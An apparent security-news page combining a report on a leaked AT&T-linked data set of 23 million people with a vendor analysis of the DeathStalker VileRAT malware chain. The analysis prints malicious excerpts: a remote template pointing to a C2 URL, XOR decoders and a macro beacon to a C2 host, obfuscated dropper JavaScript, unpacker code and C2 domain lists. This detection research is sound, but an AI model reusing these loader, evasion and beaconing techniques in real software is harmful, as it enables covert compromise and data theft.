It Might Be Our Data, But It’s Not Our Breach

Image: Shutterstock.

A cybersecurity firm says it has intercepted a large, unique stolen data set containing the names, addresses, email addresses, phone numbers, Social Security Numbers and dates of birth on nearly 23 million Americans. The firm’s analysis of the data suggests it corresponds to current and former customers of AT&T. The telecommunications giant stopped short of saying the data wasn’t theirs, but it maintains the records do not appear to have come from its systems and may be tied to a previous data incident at another company.

Milwaukee-based cybersecurity consultancy Hold Security said it intercepted a 1.6 gigabyte compressed file on a popular dark web file-sharing site. The largest item in the archive is a 3.6 gigabyte file called “dbfull,” and it contains 28.5 million records, including 22.8 million unique email addresses and 23 million unique SSNs. There are no passwords in the database.

Hold Security founder Alex Holden said a number of patterns in the data suggest it relates to AT&T customers. For starters, email addresses ending in “att.net” accounted for 13.7 percent of all addresses in the database, with addresses from SBCGLobal.net and Bellsouth.net — both AT&T companies — making up another seven percent. In contrast, Gmail users made up more than 30 percent of the data set, with Yahoo addresses accounting for 24 percent. More than 10,000 entries in the database list “none@att.com” in the email field.

Hold Security found these email domains account for 87% of all domains in the data set. Nearly 21% belonged to AT&T customers.

Holden’s team also examined the number of email records that included an alias in the username portion of the email, and found 293 email addresses with plus addressing. Of those, 232 included an alias that indicated the customer had signed up at some AT&T property; 190 of the aliased email addresses were “+att@”; 42 were “+uverse@,” an oddly specific reference to a DirecTV/AT&T entity that included broadband Internet. In September 2016, AT&T rebranded U-verse as AT&T Internet.

According to its website, AT&T Internet is offered in 21 states, including Alabama, Arkansas, California, Florida, Georgia, Indiana, Kansas, Kentucky, Louisiana, Michigan, Missouri, Nevada, North Carolina, Ohio, Oklahoma, Tennessee, Texas and Wisconsin. Nearly all of the records in the database that contain a state designation corresponded to those 21 states; all other states made up just 1.64 percent of the records, Hold Security found.

Image: Hold Security.

The vast majority of records in this database belong to consumers, but almost 13,000 of the entries are for corporate entities. Holden said 387 of those corporate names started with “ATT,” with various entries like “ATT PVT XLOW” appearing 81 times. And most of the addresses for these entities are AT&T corporate offices.

How old is this data? One clue may be in the dates of birth exposed in this database. There are very few records in this file with dates of birth after 2000.

“Based on these statistics, we see that the last significant number of subscribers born in March of 2000,” Holden told KrebsOnSecurity, noting that AT&T requires new account holders to be 18 years of age or older. “Therefore, it makes sense that the dataset was likely created close to March of 2018.”

There was also this anomaly: Holden said one of his analysts is an AT&T customer with a 13-letter last name, and that her AT&T bill has always had the same unique misspelling of her surname (they added yet another letter). He said the analyst’s name is identically misspelled in this database.

KrebsOnSecurity shared the large data set with AT&T, as well as Hold Security’s analysis of it. AT&T ultimately declined to say whether all of the people in the database are or were at some point AT&T customers. The company said the data appears to be several years old, and that “it’s not immediately possible to determine the percentage that may be customers.”

“This information does not appear to have come from our systems,” AT&T said in a written statement. “It may be tied to a previous data incident at another company. It is unfortunate that data can continue to surface over several years on the dark web. However, customers often receive notices after such incidents, and advice for ID theft is consistent and can be found online.”

The company declined to elaborate on what they meant by “a previous data incident at another company.”

But it seems likely that this database is related to one that went up for sale on a hacker forum on August 19, 2021. That auction ran with the title “AT&T Database +70M (SSN/DOB),” and was offered by ShinyHunters, a well-known threat actor with a long history of compromising websites and developer repositories to steal credentials or API keys.

Image: BleepingComputer

ShinyHunters established the starting price for the auction at $200,000, but set the “flash” or “buy it now” price at $1 million. The auction also included a small sampling of the stolen information, but that sample is no longer available. The hacker forum where the ShinyHunters sales thread existed was seized by the FBI in April, and its alleged administrator arrested.

But cached copies of the auction, as recorded by cyber intelligence firm Intel 471, show ShinyHunters received bids of up to $230,000 for the entire database before they suspended the sale.

“This thread has been deleted several times,” ShinyHunters wrote in their auction discussion on Sept. 6, 2021. “Therefore, the auction is suspended. AT&T will be available on WHM as soon as they accept new vendors.”

The WHM initialism was a reference to the White House Market, a dark web marketplace that shut down in October 2021.

“In many cases, when a database is not sold, ShinyHunters will release it for free on hacker forums,” wrote BleepingComputer’s Lawrence Abrams, who broke the news of the auction last year and confronted AT&T about the hackers’ claims.

AT&T gave Abrams a similar statement, saying the data didn’t come from their systems.

“When asked whether the data may have come from a third-party partner, AT&T chose not to speculate,” Abrams wrote. “‘Given this information did not come from us, we can’t speculate on where it came from or whether it is valid,’” AT&T told BleepingComputer.

Asked to respond to AT&T’s denial, ShinyHunters told BleepingComputer at the time, “I don’t care if they don’t admit. I’m just selling.”

On June 1, 2022, a 21-year-old Frenchman was arrested in Morocco for allegedly being a member of ShinyHunters. Databreaches.net reports the defendant was arrested on an Interpol “Red Notice” at the request of a U.S. federal prosecutor from Washington state.

Databreaches.net suggests the warrant could be tied to a ShinyHunters theft in May 2020, when the group announced they had exfiltrated 500 GB of Microsoft’s source code from Microsoft’s private GitHub repositories.

“Researchers assess that Shiny Hunters gained access to roughly 1,200 private repositories around March 28, 2020, which have since been secured,” reads a May 2020 alert posted by the New Jersey Cybersecurity & Communications Integration Cell, a component within the New Jersey Office of Homeland Security and Preparedness.

“Though the breach was largely dismissed as insignificant, some images of the directory listing appear to contain source code for Azure, Office, and some Windows runtimes, and concerns have been raised regarding access to private API keys or passwords that may have been mistakenly included in some private repositories,” the alert continues. “Additionally, Shiny Hunters is flooding dark web marketplaces with breached databases.”

Last month, T-Mobile agreed to pay $350 million to settle a consolidated class action lawsuit over a breach in 2021 that affected 40 million current and former customers. The breach came to light on Aug. 16, 2021, when someone starting selling tens of millions of SSN/DOB records from T-Mobile on the same hacker forum where the ShinyHunters would post their auction for the claimed AT&T database just three days later.

T-Mobile has not disclosed many details about the “how” of last year’s breach, but it said the intruder(s) “leveraged their knowledge of technical systems, along with specialized tools and capabilities, to gain access to our testing environments and then used brute force attacks and other methods to make their way into other IT servers that included customer data.”

A sales thread tied to the stolen T-Mobile customer data.

A cybersecurity firm says it has intercepted a large, unique stolen data set containing the names, addresses, email addresses, phone numbers, Social Security Numbers and dates of birth on nearly 23 million Americans. The firm’s analysis of the data suggests it corresponds to current and former customers of AT&T. The telecommunications giant stopped short of saying the data wasn’t theirs, but it maintains the records do not appear to have come from its systems and may be tied to a previous data incident at another company.Read More

OM wil eigenaren hostingbedrijf alsnog vervolgen voor hosten botnetservers

Het Openbaar Ministerie wil dat een 30-jarige man uit Vlissingen en een 27-jarige man uit Veendam alsnog worden vervolgd voor …Het Openbaar Ministerie wil dat een 30-jarige man uit Vlissingen en een 27-jarige man uit Veendam alsnog worden vervolgd voor …Read More

VileRAT: DeathStalker’s continuous strike at foreign and cryptocurrency exchanges

In late August 2020, we published an overview of DeathStalker’s profile and malicious activities, including their Janicab, Evilnum and PowerSing campaigns (PowerPepper was later documented in 2020). Notably, we exposed why we believe the threat actor may fit a group of mercenaries, offering hack-for-hire services, or acting as an information broker to support competitive and financial intelligence efforts.

Meanwhile, in August 2020, we also released a private report on VileRAT to our threat intelligence customers for the first time. VileRAT is a Python implant, part of an evasive and highly intricate attack campaign against foreign exchange and cryptocurrency trading companies. We discovered it in Q2 2020 as part of an update of the Evilnum modus operandi, and attributed it to DeathStalker. Malicious activities that we associate with DeathStalker’s VileRAT track have been publicly and partly documented since, without any attribution or under different monikers (Evilnum, PyVil), starting in September 2020, through 2021 and more recently in June 2022.

DeathStalker has indeed continuously leveraged and updated its VileRAT toolchain against the same type of targets since we first identified it in June 2020. While we comprehensively documented the evolution to our threat intelligence customers recently, and despite existing public indicators of compromise, we regret to note that the campaign is not only ongoing at the time of writing, but also that DeathStalker likely increased its efforts to compromise targets using this toolchain recently. We have indeed been able to identify more samples of VileRAT-associated malicious files and new infrastructure since March 2022, which may be a symptom of an increase in compromise attempts. We deemed it may be helpful to publicly expose some of our knowledge about VileRAT, to help potential targets better detect and stop such malicious activities.

VileRAT’s initial infection and toolset overview

Back in the summer of 2020, DeathStalker’s VileRAT initial infection consisted in spear-phishing emails sent to foreign exchange companies, from fake personas (a fake diamonds trading company for instance) who shared investment interests. Should the target reply and continue with the conversation, the fake persona would at some point and upon request provide a link to a malicious file hosted on Google Drive (a Windows shortcut file masquerading as a PDF or in a ZIP archive), as identification documents. The malicious link would then trigger the execution of arbitrary system commands, to drop a harmless decoy document, as well as a malicious and quite sophisticated binary loader that we dubbed VileLoader.

More recently, since at least late 2021, the infection technique has changed slightly, but the initial infection vector is still a malicious message: a Word document (DOCX, see Figure 1) is sent to targets via email (either as an attachment or embedded in the email body whenever possible). In July 2022, we also noticed that the attackers leveraged chatbots that are embedded in targeted companies’ public websites to send malicious DOCX to their targets.

Figure 1. Malicious DOCX social engineering message

The DOCX documents are frequently named using the “compliance” or “complaint” keywords (as well as the name of the targeted company), suggesting the attacker is answering an identification request or expressing an issue as a reason to send them.

The initial infection and toolset deployment, as we observed them starting in at least late 2021, are schematized below (see Figure 2).

Figure 2. VileRAT infection and toolset overview

A bit of stomping and concealment up to VileDropper

The initial DOCX infection document itself is innocuous, but it contains a link to another malicious and macro-enabled DOTM document as a “remote template” (see Figure 3). These DOTM files are automatically downloaded by Word when the DOCX is opened, and its embedded macro is triggered if the recipient enabled execution (as requested by the social engineering message, see Figure 1).

<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>
<Relationships xmlns=”http://schemas.openxmlformats.org/package/2006/relationships”>
<Relationship Id=”rId1″ Type=”http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate” Target=”hxxp://plantgrn[.]com/HjSYaquyA5umRSZcy%2B0xLfaIdgf5Qq8BA6EggZELrzkAAADvNjKmxl00LiQYCUFp2DSHYB8NW18l94y4JmYJq84iAcUK4DiouvcYORosLa5BzVcmWShg6Y6sjwg%3D” TargetMode=”External”/>

Figure 3. Malicious remote template inclusion in infection DOCX

The malicious DOTM remote templates leverage the VBA stomping technique to conceal the code of an embedded macro. VBA stomping involves making the editable VBA source code (i.e., the visible code of a macro) different from the code that will actually be executed. This is possible because both the editable (visible) source code and a transformed internal version of it called p-code are embedded in macro-enabled documents. As a result of VBA stomping, the real macro code that will be executed is hidden from standard tools (Microsoft Word’s macro edition tools, but also OLETools).

This technique comes with a drastic limitation: the hidden macro (i.e., internal p-code) can only be executed if the macro-enabled document is opened with the same Office version from which it was generated. Otherwise, the hidden macro cannot run, and the visible one will be executed instead. In this last case, DeathStalker ensured it would result in a popup message to the user (see Figure 4). But most of all, DeathStalker ensured that it distributed several variants of infection documents to their targets, each one being prepared for a specific Office version.

Figure 4. VBA stomping failure in a malicious DOTM remote template

In any case, the visible and hidden macros download a picture to replace the social engineering message in the infection document (see Figure 5) and trick the readers into believing something failed.

Figure 5. Example of a downloaded image upon macro execution

In the background, however, provided the VBA stomping worked, the DOTM-embedded macro silently gathers information about security products that are installed on the target computer (using WMI), sends them to a command-and-control (C2) server, decodes and drops files, then ultimately executes a malicious obfuscated JavaScript (JS) backdoor we called VileDropper.

The DOTM-embedded macro itself already reveals some interesting and specific techniques. It is lightly obfuscated, as most text strings are XOR-encoded (see Figure 6) with a password that is derived from a sentence (e.g., “Operates Catholic small towns pueblos Two of“).

Function decodestring(dt As String) As String
On Error Resume Next
Dim ks As String
ks = decodepassword
Dim dl As Long
dl = ((Len(dt) / 2) – 1)
kl = Len(ks)
Dim s As String
s = “”
For i = 0 To dl
Dim c1 As Integer
Dim c2 As Integer
c1 = Val(“&H” & Mid(dt, ((i * 2) + 1), 2))
c2 = Asc(Mid(ks, (i Mod kl) + 1, 1))
s = s & Chr(c1 Xor c2)
decodestring = s
End Function

Figure 6. XOR decoding function (renamed for clarity) in DOTM-embedded macro

The XOR decoding algorithm looks very close to the one that has been leveraged in VBS loader scripts from the PowerPepper toolchain (see Figure 7) in the past, and seemingly legitimate function names are also reminiscent of those that were used by PowerPepper macros (e.g., “insert_table_of_figures”, “change_highlight_color”, etc.).

Function DelPort(GeneralText)
Dim Argv : Argv = WScript.Arguments(0)
GeneralText = Replace(GeneralText, “44f”,”44″)
Dim z, i, cvpo, vpcol, sdfiko, gfdvvc, sdfopk
For i = 1 To Len(GeneralText)
cvpo = cvpo + 1
If cvpo > Len(Argv) Then cvpo = 1
gfdvvc = Asc(Mid(Argv, cvpo, 1))
If i > Len(GeneralText) 2 Then Exit For
vpcol = CByte(“&H” & Mid(GeneralText, i * 2 – 1, 2))
sdfiko = vpcol Xor gfdvvc
z = z & Chr(sdfiko)
DelPort = z
End Function

Figure 7. XOR decoding function in a PowerPepper VBS loader (MD5 DB6D1F6AB887383782E4E3D6E4AACDD0)

The DOTM-embedded macro decodes and drops two files (in the “%APPDATA%” folder: “Redist.txt” and “ThirdPartyNotice.txt”, or “pattern.txt” and “changelog.txt”) out of encoded data that is stored in non-visible TextBox forms (see Figure 8). Leveraging Office object properties as hidden data sources is also something we have previously seen with PowerPepper.

Figure 8. TextBox form used as a data store within malicious DOTM documents, as shown by Microsoft’s VBA editor

Another notable feature is that the DOTM-embedded macro signals progression or errors during the execution by sending HTTP GET requests to fixed C2 URLs. Interestingly, all HTTP requests in the VBA macro are triggered using remote picture insertion functions (see Figure 9).

doc.Shapes.AddPicture (decodestring(“09184015545D5B1B1B07501E001F5C4B0D1D5B3B2D3647143422115728383E1D3E2A024B06025B…0F1C02301C4B57743F190273173713384258545B46582D5C242F3335565C234123543853115838183D21156116500F5C210A2717462327073A362E765C370347362B267F1035230C1036”))
‘ hxxp://hubflash[.]co/HCSqfUN%2FJJnPO49gnojrpDo%2BMxnGrYaL161m49AhAAAA%2FwQ5Tgt6JlNO

Figure 9. DOTM-embedded macro leverages “AddPicture” as a Web client

In any case, the DOTM-embedded macro finally triggers VileDropper’s execution, using a renamed copy of the “WScript” interpreter (“msdcat.exe” or “msgmft.exe” in the “%APPDATA%” folder), with a command such as:

msgmft.exe /E:jScrIpt “changelog.txt” 91 pattern.txt

“changelog.txt” is VileDropper, while “91” is part of password used by VileDropper to decode XORed data, and “pattern.txt” is an encoded package that contains VileLoader.

VileDropper: an overly obfuscated task scheduler

Next in DeathStalker’s intricate VileRAT infection chain comes VileDropper. It is an obfuscated JavaScript file that mainly drops and schedules the execution of the next stage: VileLoader.

var _0x140c9e;//ACCS3
_0x36bbe9: {//ACCS3
try {//ACCS3
var _0x527036 = _0x112a30 + ‘x5c’ + WScript[_0x1dbcbb(0x38c)](0x1),//ACCS3
_0x33ee6e = _0x3b3918[_0x4462ad[_0x1dbcbb(0x312)](_0x4459df, _0x4462ad[_0x1dbcbb(0x23d)])](_0x527036, 0x1),//ACCS3
_0x46efdf = _0x33ee6e[_0x4459df(_0x1dbcbb(0x1e7) + _0x1dbcbb(0x29c))]();//ACCS3
_0x33ee6e[_0x1dbcbb(0x37a)](), _0x3b3918[_0x1dbcbb(0x38f)](_0x527036), _0x527036 = ”;//ACCS3
for (_0x33ee6e = 0x0; _0x33ee6e < _0x46efdf[_0x1dbcbb(0x2fa)] – 0x2; _0x33ee6e += 0x2)//ACCS3
_0x527036 += String[_0x1dbcbb(0x259) + ‘de’](parseInt(_0x46efdf[_0x1dbcbb(0x2f4)](_0x33ee6e, _0x33ee6e + 0x2), 0x10));//ACCS3
_0x140c9e = _0x527036;//ACCS3
break _0x36bbe9;//ACCS3
} catch (_0x48c9c6) {}//ACCS3
_0x140c9e = void 0x0;//ACCS3

Figure 10. VileDropper code excerpt in its original form

VileDropper needs at least two arguments to run for the first time (a third may be used as a flag to trigger environment-specific execution variations, depending on security products that are installed on targeted computers):

the first one is a partial password (used to decode XOR-encoded data),
the second is a path to an encoded payload file (contains VileLoader and its companion shellcode).

VileDropper also checks its interpreter and file name, to immediately stop execution if it is not called as planned (this is probably done to evade sandboxes), as can be seen in the following deobfuscated code excerpt:

if (aWShell1[“CurrentDirectory”][“toLowerCase”]() != aAppDataPath1[“toLowerCase”]()) {
if (!sArgThird1) {
if (-0x1 == aScriptHostFullpath1[“indexOf”](“msdcat”)) {
} else {
if (-0x1 == aScriptHostFullpath1[“indexOf”](“cscript”)) {

Figure 11. Deobfuscated execution check in VileDropper

VileDropper’s exact execution flow depends on the security products that are installed on the targeted computer, but most of the time, it copies itself to another file, relaunches itself, and deletes its original copy. During execution VileDropper:

gathers additional data on the targeted environment (using WMI) as well as generating a target identifier and sends them to a C2 server;
decodes and drops VileLoader and its encoded companion shellcode. The file names and location will vary depending on samples, but they are placed under a seemingly legitimate common folder in “%APPDATA%” (e.g., “exe” and “dev0Y11ZF.tmp” in “%APPDATA%MicrosoftPrinter SettingsPrinters”);
schedules a task to run VileLoader 35 to 65 seconds later, then indefinitely every three hours and 45 minutes.

VileDropper sends data to a C2 server using an HTTP GET request to a fixed URL (e.g., “hxxp://hubflash[.]co/admin/auth.php”), using a preset User-Agent (both the C2 URL and the User-Agent change depending on VileDropper samples). The useful information is stored as a JSON document, which is then XOR-encoded, base64-encoded, URL-encoded, and set as a cookie value in the HTTP request:

Content (JSON value)
A target identifier. The identifier is a custom UUID-like representation of the target’s login (%USERNAME% environment variable) and computer UUID (as obtained in the first result of the WMI query: SELECT UUID FROM Win32_ComputerSystemProduct). This UUID-like value is then base64-encoded and URL-encoded. Due to fixed lengths and padding from the identifier generation logic, the identifier’s final form is always 48 characters long.
A hard-coded VileDropper identifier, which might designate a campaign or version (e.g., “9745B355”).
A list of the names of the security products (AntiVirusProduct in WMI) that are installed on the target computer, separated by the pipe sign (|), then XORed, base64-encoded and URL-encoded.
The target’s fully qualified login, as the shell expansion of “%USERDOMAIN%%USERNAME%”, which is then XORed, base64-encoded and URL-encoded.
The target’s operating system version, as returned from the WMI query SELECT Version FROM Win32_OperatingSystem, then base64-encoded and URL-encoded.

The task that is scheduled by VileDropper (whose name varies depending on samples, e.g., “CDS Sync” or “UpdateModel Task”), triggers the following type of execution command:

%APPDATA%MicrosoftPrinter SettingsPrintersFWDeviceEnabler.exe “[u]” “<encoded companion shellcode file name>” “[a]” “[w]” 0 “[d]” “[n]” <a letter of the encoded companion shellcode file name>

The characters between square brackets (such as [u]) in the command line designate the content of the corresponding JSON key (i.e., [u] is the encoded target identifier).

A XORing interlude

Before moving on to VileLoader, a note on the XOR encoding scheme that is leveraged by VileDropper to protect data sent to the C2 server, as similar schemes will be used further on. The algorithm generates data blobs that are laid out as follows (then sometimes further base64-encoded and URL-encoded):

Type A:

[XOR key (6 random bytes)][XOR-encoded data]

The resulting blobs are self-sufficient and can be decoded by the recipient (as well as any third party…) without any access to the pre-shared key. In VileDropper, strings that are encoded as part of the JavaScript obfuscation benefit from an additional XORing step: the XOR key that is embedded in data blobs is additionally XORed with a script-specific fixed password (a part of this fixed password is passed to VileDropper on its execution command line by the previous DOTM macro in the infection chain, the other part is hard-coded in VileDropper itself).

Later, VileLoader and VileRAT use other variants of this algorithm, which produces data blobs that are laid out as one of the following options:

Type B:

[XOR key length (variable)][XOR key (random bytes)][Padding][XOR-encoded data]

Type C:

[XOR-encoded data length][XOR-encoded data][XOR key length (variable)][XOR key (random bytes)]

Type D:

[XOR key length (variable)][XOR key (random bytes)][XOR-encoded data length][XOR-encoded data]

VileLoader: an evasive multi-stage implant downloader

VileLoader is a remarkable piece of the VileRAT compromise approach. While it has existed since Q2 2020 (it was first publicly documented as dddp.exe), it has been continuously updated and maintained since, and is still deployed from VileDropper at the time of writing. VileLoader’s main goal is to download and execute an additional payload from a C2 server. Though we have only observed it triggering the execution of VileRAT, the loader can technically download and execute other implants.

Recent VileLoader samples are composed of a binary executable (stage 1) and an encoded companion shellcode file (stage 2). Previous samples of VileLoader usually embedded the shellcode within the binary executable directly, and presented themselves as a single monolithic file.

Stage 1 – Doctored binary unpacker

VileLoader is initially presented as a binary executable, which ensures the first stage of the execution. This binary is always a legitimate one, which is meticulously doctored by the attackers to integrate a malicious unpacker-type payload. As such, the binary may appear legitimate from a quick automated static code analysis perspective: it includes all the code of a legitimate application (but will not work as expected). This “unpacker” stage is aimed at decoding, loading, and executing the second stage in memory.

VileLoader’s workflow starts by waiting 17 seconds. Then it parses the command line arguments. The command line must include five arguments at least, or VileLoader terminates the execution. In practice, VileDropper usually gives seven arguments to VileLoader, as we have previously described. VileLoader then opens its encoded companion shellcode file (whose name is passed as a second argument to VileLoader, e.g., “devENX1C6SS.tmp”), reads and decodes it (using the Type B XOR algorithm), maps the deobfuscated data in a region with read, write and execute (RWX) permissions, and runs the next stage (stage 2) by starting a new thread.

VileLoader’s first stage contains very unique “signature” techniques that have been stable since the first sample we analyzed in Q2 2020:

“Sleep” and “GetTickCount” Windows API functions are leveraged to generate random waiting delays. Those functions are resolved in an unusual way: by referencing hard-coded offsets from the beginning of the current binary image that point directly to entries in the legitimate executable’s import address table (IAT);
the unpacking and loading of VileLoader’s encoded companion shellcode file leverages multiple custom-made system calls, that are similar to low-level Windows API functions (NTDLL) for different Windows versions: NtOpenFile, NtReadFile, NtAllocateVirtualMemory, NtCreateThreadEx and NtWaitForSingleObject (see Figure 12).

Figure 12. VileLoader’s stage 1 custom-made system call

However, while older samples parsed command line arguments by resolving and calling dedicated Windows API functions (such as “GetCommandLineW”), the recent samples directly read this information from their own PEB (Process Environment Block) structure. This may have been done to better bypass the detection of some security solutions.

Stage 2 – In-memory downloader

The second stage content is extracted from VileLoader’s encoded companion shellcode file, and run by VileLoader’s first stage in-memory, in a new thread. From a data perspective, the second stage shellcode (once unpacked by the first stage) is a PE binary that is stripped of its headers and embeds additional encoded data.

This second stage starts by decoding the required data from its own content (using the Type C XOR algorithm). Some data are decoded as hash values that were generated with the djb2 algorithm. Those hashes are in turn used to resolve the required function imports through a homebrew IAT: required libraries are loaded, their export tables are parsed, exported function names are hashed with djb2, and the hashes are compared to hashes that were decoded from internal data. Stage 2 continues by creating a mutex, whose name has been stable since Q2 2020, and which is the same as in VileRAT (“GlobalwU3aqu1t2y8uN”).

Finally, VileLoader’s second stage builds an HTTP GET request that is used to download an implant package. In older VileLoader samples, the downloader used a static URL that looked as follows:

http://<domain>/c&v=2&u=<argument 1>&a=<argument 2>&c=<argument 3>

The only evasion attempt consisted in randomly choosing an HTTP User-Agent header value amongst a fixed list of four. VileLoader used the targeted system’s uptime as a source of “randomness”. In recent samples, developers tried to improve these evasion techniques, and the HTTP request now looks like this:

GET /administrator/index.php HTTP/1.1
Connection: keep-Alive
Accept-Language: en-US,en;q=0.8
Accept: */*
Referer: http://www.yahoo.com
Cookie: source=<encrypted blob>;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Host: corstand[.]com

All values that are colored in red are now chosen at random from a hard-coded list that is decoded from the stage 2 content (using the Type C XOR algorithm). The encrypted blob (cookie value) is initially a JSON dictionary, encrypted with the RC4 algorithm (using the key “BD DE 96 D2 9C 68 EE 06 49 64 D1 E5 8A 86 05 12 B0 9A 50 00 4E F2 E4 92 5C 76 AB FC 90 23 DF C6”, decoded from stage 2 content), XORed (using the Type B XOR algorithm), base64-encoded and URL-encoded. The actual JSON content is very similar to the one that is sent by VileDropper to the C2 server:

Provided by VileDropper  via the command line

Hard-coded value (65 in the last sample we analyzed) which might be a version number.
The target identifier.
The list of security solutions installed on the targeted computer.
The target’s operating system version.
A fixed identifier, which might designate a campaign or version.
The target’s fully qualified login (%USERDOMAIN%%USERNAME%).

Flag that indicates if the mutex creation succeeded (1) or failed (0).

Current process name (e.g., SerenadeDACplApp.exe).

Constant value embedded in the code and equal to 0.

The C2 server then answers in the HTTP response body, with one of the following instructions:

do nothing: the answer is four null bytes;
implant package: the answer is an encoded implant package to parse (see later);
send a screenshot: the answer is a byte of value “1”, followed by three null bytes.

In older variants, VileLoader’s second stage did not embed the screenshot capability, which was, however, implemented in VileRAT.

If the C2 server answers with an implant package, it sends a Type D XORed blob. The resulting data is further decompressed using the LZMA1 algorithm, and contains one or several “files” with the following additional metadata:

A CSIDL value, representing the root folder in which the file must be dropped (resolved with the “SHGetFolderPathW” Windows API function);
A subdirectory name;
A file name;
A task name if the file execution is to be scheduled;
The command-line arguments if the file is to be executed.

If a specific flag is set in the C2 server response data, VileLoader creates a Windows scheduled task for the last dropped file to set up its persistence. The task is created using the ITaskService interface. Finally, the last dropped file is also immediately executed using the “CreateProcessW” Windows API function. It should be noted that some older VileLoader samples executed the downloaded payload in memory, while recent variants tend to drop the downloaded implant on the target’s filesystem.

If the C2 server requests a screenshot, then VileLoader stage 2 sends an HTTP POST request with a cookie whose value is a XORed (Type B algorithm) JSON dictionary containing the following fields:

Target identifier.
Constant value (1).
Screenshot timestamp (in the format “YYYY-MM-DD HH:MM:SS”).

The associated HTTP POST body data is an encoded (using the Type B XOR algorithm) JPEG screenshot.

VileRAT – A super-packed yet still overweight Python implant

VileRAT is the last known stage of the intricate eponym infection chain from DeathStalker. It is an obfuscated and packed Python3 RAT, bundled as a standalone binary with py2exe. We first discovered it in Q2 2020, and it has also subsequently been named PyVil by other vendors.

A note on VileRAT’s seniority

The Python library (DLL) that is embedded in a py2exe-bundled binary usually comes from an official Python release. While analyzing VileRAT samples, we noticed that its Python DLL is a custom compilation of Python 3.7 sources: the DLL version is tagged as “heads/3.7-dirty”[1] (instead of “tags/v3.7.4” for an official release, for instance) and references a shortened Git commit ID of “0af9bef61a”. This shortened commit ID matches one in the source code repository of the 3.7 branch of the standard CPython implementation, which is dated to 2020-05-23. Due to this commit date and considering the fact that we first discovered VileRAT in Q2 2020, we believe with medium to high confidence that VileRAT was first packaged for deployment in June 2020.

Unpacking VileRAT

When we first encountered VileRAT, we noticed that all usual decompiling tools for Python3 (uncompyle6, decompyle3 and unpyc37, to name just a few) failed to correctly retrieve a Python source from the VileRAT bytecode. Some of our industry peers had the same issue when they encountered it as PyVil.

Long story short: the first stage of VileRAT has been obfuscated at the Python bytecode-level, with the intention of breaking existing decompilers (see Figure 13). The bytecode is obfuscated by:

adding multiple operations that do not have any effect when executed (neutral operations) and useless data;
adding confusing branching and exceptions handlers;
inserting invalid bytecode in sections that will never be reached during execution (but that decompilers still try – and fail – to decompile).

Figure 13. VileRAT’s first stage Python bytecode, in its original form (left) and deobfuscated form (right). The only useful instructions of this excerpt are highlighted in red.

Once cleaned at bytecode-level, the first stage of VileRAT unpacking can be properly decompiled as Python code:

import sys
import zlib
import base64
T8 = base64.b64decode
y6 = zlib.decompress
m5 = T8(b'<a 7-million+ characters long base64 string>’)
k9 = bytearray(m5)
Y7 = bytearray(b’0sMIsDYmkeST5ZJHOfHkwmrA5JGVmpBbpKeA’)
N2 = bytearray(len(k9)*bytes([0]))
j = 0
code_length = int(len(k9)/5)
for i in range(code_length):
if i % 3 == 0:
N2[i] = k9[i] ^ Y7[j]
N2[i] = k9[i]
if j + 1 == len(Y7):
j = 0
j += 1
N2[i:] = k9[i:]

VileRAT embeds no less than three layers of unpacking. The efforts that have been put into making a Python script (VileRAT) hard to analyze from a human perspective is a DeathStalker signature by itself, considering they also tried the same for all the other steps in the infection chain, and that it is part of their usual approach.

The last unpacking step finally extracts the VileRAT Python code and a whole bundle of its dependencies in memory – all this content causes py2exe-bundled VileRAT samples to weigh around 12MB. The unpacking leverages decoding (using the Type B XOR algorithm) and BZIP2 decompression. The final VileRAT Python package notably contains a conf.pyc module which includes a version number, as well as default C2 domain names:

SVC_NAME = ‘AJRouter’
server_urls = [‘hxxp://pngdoma[.]com’, ‘hxxp://robmkg[.]com’, ‘hxxp://textmaticz[.]com’, ‘hxxp://goalrom[.]com’]
user_agent_list = [‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36’, ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36’]

VileRAT versions and functionalities

We analyzed and compared various VileRAT samples, containing version numbers ranging from 2.4 to 8. VileRAT functionalities have not changed much over time, and some functionalities from the earliest sample we analyzed have actually been dropped (such as leveraging SSH as a C2 channel, or screenshotting, the latter now being implemented in VileLoader instead). The remaining functionalities include:

Arbitrary remote command execution, using an existing or downloaded binary;
Establishing SSH connections to remote servers, possibly leveraging them to forward ports of the targeted computer to the remote server;
Setting up persistence using scheduled tasks;
Listing security solutions that are installed on the target computer;
Self-updating from a C2 server.

VileRAT has five distinct and exclusive execution modes, enabled from the command line, which can all be further altered with additional command switches, parameters and/or data from the C2:

Command line option
Internal name(s)
Execution mode description


Arbitrary command execution

The “command” term is quite large: it can either be an existing binary, a shell command, a downloaded executable, a Python package, or an internal VileRAT function. In order to specify the “command”, a JSON dictionary[2] is passed as an optional parameter. Some commands will be executed by starting VileRAT again, using a distinct set of command options. VileRAT exits after this execution.



SSH connection test

VileRAT starts a new process of itself, which connects to a remote SSH server (using a private key), then… closes the connection. This SSH connection used to serve as a C2 channel in previous samples, but the C2 logic has been removed in recent samples. In order to specify the SSH connection settings, a JSON dictionary is passed as an optional parameter. VileRAT exits after this execution.



SSH-tunneled local port forward

VileRAT starts a new process of itself, which connects to a remote SSH server (using a password). This connection is leveraged as a tunnel to forward ports from the target computer to the remote server. In order to specify the SSH connection settings, a JSON dictionary is passed as an optional parameter. VileRAT quits once the remote end has connected to the forwarded port at least once, and subsequently closed the connection.

Arbitrary file deletion

VileRAT attempts to delete a file, whose path is given as a clear text command parameter. VileRAT quits when the file is deleted or when the maximum number of attempts (10) is reached.



Main C2 client mode

